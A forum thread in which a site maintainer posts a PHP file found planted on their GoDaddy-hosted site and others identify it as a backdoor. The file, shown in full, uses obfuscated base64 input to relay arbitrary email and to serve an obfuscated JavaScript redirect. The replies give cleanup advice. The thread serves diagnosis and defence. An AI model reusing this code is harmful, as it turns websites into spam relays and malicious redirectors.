Unconfigured Ad Widget

Collapse

Any PHP experts?

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • rdfact
    CGN Contributor
    • Nov 2012
    • 2616

    Any PHP experts?

    Can anyone decipher this? I found this file on a website I "manage". By manage I mean I use some GUI tools to make minor content changes.
    The file is at the root of the web site and is named "crematory-lindsay.php"

    <?php
    function base64_url_decode($val) {
    return base64_decode(strtr($val, '-_,', '+/='));
    }
    if(isset($_POST) and count($_POST) > 0){
    if(isset($_POST["chk"])){
    $val = array();
    $val["res"] = 1;
    print json_encode($val);
    }else{
    $post_data = array_values(array_map('stripslashes', $_POST));
    $m_data = explode("|||", base64_url_decode(strrev($post_data[0])));
    if(count($m_data) > 1){

    $val = array();
    if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){
    $val["mail"] = 1;
    } else{
    $val["mail"] = 0;
    }
    print json_encode($val);
    }
    }
    }

    if(isset($_GET) and count($_GET) > 0){
    $url = "";
    $redic = array_values($_GET);
    foreach(str_split(base64_url_decode($redic[0])) as $letter){
    if(rand(1,3) == 1){
    $url .= $letter;
    }else{
    $url .= $letter."'+'";
    }
    }
    ?>
    <html><head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <title>Redirecting</title>
    <script>
    var r = '<?php echo $url;?>';
    var _0x485b=["\x72\x65\x70\x6C\x61\x63\x65"];
    </script>
    </head>
    <body onload="location[_0x485b[0]](r);">
    Loading...
    </body></html>
    <?php } ?>
  • #2
    hunterb
    CGN/CGSSA Contributor
    CGN Contributor
    • Jun 2011
    • 3796

    The Russians hacked you!
    Originally posted by johnthomas
    ...The hardest part getting rid of crap is getting started.

    Comment

    • #3
      smashycrashy
      Veteran Member
      • Sep 2011
      • 2999

      You post something to the page and it emails the post out and returns a response. So it turns your website into a email spam relay. Definitely would wonder how it got there.

      Comment

      • #4
        Marauder2003
        Waiting for Abs
        CGN Contributor - Lifetime
        • Aug 2010
        • 3014

        Not a PHP person but it looks like it is playing with email.

        If you did not create it check the modify date. If you did nothing on that date rename the file to crematory-lindsay.xxx and see if anything fails
        #NotMyPresident
        #ArrestFauci
        sigpic

        Comment

        • #5
          ocabj
          Calguns Addict
          • Oct 2005
          • 7924

          Originally posted by smashycrashy
          You post something to the page and it emails the post out and returns a response. So it turns your website into a email spam relay. Definitely would wonder how it got there.
          This.

          Either your website application(s) or the webserver itself is vulnerable if that file was injected.

          I run OSSEC on my VPS to monitor for file changes on my server and give me realtime alerts via a Slack API whenever something gets modified in specific dirs of my filesystem.

          Distinguished Rifleman #1924
          NRA Certified Instructor (Rifle and Metallic Cartridge Reloading) and RSO
          NRL22 Match Director at WEGC

          https://www.ocabj.net

          Comment

          • #6
            rdfact
            CGN Contributor
            • Nov 2012
            • 2616

            It's hosted on GoDaddy and does have a "Contact Us" page that emails us when someone fills out the contact form. But the modified date seems too new. I will try renaming the file and see what happens. And I'll change the admin pwd.

            Comment

            • #7
              ocabj
              Calguns Addict
              • Oct 2005
              • 7924

              Originally posted by rdfact
              It's hosted on GoDaddy and does have a "Contact Us" page that emails us when someone fills out the contact form. But the modified date seems too new. I will try renaming the file and see what happens. And I'll change the admin pwd.
              But does this site run some sort of other web application like Wordpress, Joomla, and e-commerce package, etc?

              Distinguished Rifleman #1924
              NRA Certified Instructor (Rifle and Metallic Cartridge Reloading) and RSO
              NRL22 Match Director at WEGC

              https://www.ocabj.net

              Comment

              • #8
                rdfact
                CGN Contributor
                • Nov 2012
                • 2616

                Originally posted by ocabj
                But does this site run some sort of other web application like Wordpress, Joomla, and e-commerce package, etc?
                No sir.

                Comment

                • #9
                  bigmike82
                  Bit Pusher
                  CGN Contributor
                  • Jan 2008
                  • 3876

                  -- 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0

                  Comment

                  • #10
                    rdfact
                    CGN Contributor
                    • Nov 2012
                    • 2616

                    Thanks for the link.
                    Upon further research, the following was found:
                    ...
                    5. THIS WAS A REDIRECT SCRIPT
                    6. This was uploaded to the server through an insecure FORM SUBMISSION CODE.
                    7. It redirects all email form information to both the original recipient (me) AND to the hacker.

                    SOLUTION:
                    8. Delete the file.
                    9. Use a strong and secure email.php like form mailer or other in order to secure your form submissions.
                    10. update/upgrade the PHP version on your server.
                    I have deleted the file. Unfortunately I don't think I have any control over the contact form used, it is a widget provided by GoDaddy. And I certainly have no control over the version of PHP used on the server since it's a shared server.

                    Comment

                    • #11
                      naeco81
                      CGN/CGSSA Contributor - Lifetime
                      CGN Contributor - Lifetime
                      • Jun 2013
                      • 1811

                      Wordpress plugins are the most likely culprit.
                      Originally posted by Mitch
                      The architects of the assault weapon bans ... are simply trying to fight the Culture War. And we can't win, not in California anyway because you guys, the ones with the most to lose, refuse to do what you need to do to win the Culture Wars, which is to make Calguns and the gun rights community a truly big tent and stop driving people away simply because they are different from you.
                      Crime rate per 100k people
                      General population: 3,817
                      Police officers: 108
                      Legal CCW: 18

                      Comment

                      • #12
                        skunkbad
                        Member
                        • Nov 2012
                        • 147

                        If you're using plain FTP and a computer on your network is infected with malware, it could sniff network traffic and be getting/sending your passwords to China. NEVER use plain FTP.

                        Comment

                        • #13
                          Dingotech
                          Senior Member
                          • Apr 2009
                          • 680

                          Imagine if Trump tweeted that.

                          Comment

                          Working...
                          UA-8071174-1